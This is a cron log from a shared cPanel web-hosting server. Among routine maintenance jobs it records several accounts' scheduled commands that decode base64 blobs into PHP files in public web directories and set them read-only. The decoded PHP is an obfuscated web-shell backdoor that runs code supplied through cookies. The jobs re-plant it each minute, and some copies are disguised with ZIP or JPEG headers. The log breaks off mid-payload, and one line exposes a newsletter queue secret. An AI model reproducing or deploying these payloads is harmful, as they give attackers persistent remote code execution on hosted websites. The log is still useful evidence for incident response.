Jun  7 10:45:02 medusa CROND[18253]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:45:02 medusa CROND[18252]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:45:02 medusa CROND[18255]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18260]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18266]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:45:02 medusa CROND[18267]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:45:02 medusa CROND[18269]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:45:02 medusa CROND[18271]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:45:02 medusa CROND[18274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:45:02 medusa CROND[18275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:45:02 medusa CROND[18280]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:45:02 medusa CROND[18279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:45:02 medusa CROND[18283]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:46:01 medusa CROND[19893]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:46:01 medusa CROND[19894]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:46:01 medusa CROND[19896]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:46:01 medusa CROND[19898]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:46:01 medusa CROND[19899]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:46:01 medusa CROND[19901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:46:01 medusa CROND[19903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:46:01 medusa CROND[19897]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 10:46:01 medusa CROND[19902]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:46:01 medusa CROND[19905]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:46:01 medusa CROND[19909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:46:01 medusa CROND[19904]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:46:01 medusa CROND[19911]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 10:46:01 medusa CROND[19913]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:46:01 medusa CROND[19915]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:47:01 medusa CROND[21656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:47:01 medusa CROND[21657]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:47:01 medusa CROND[21658]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0g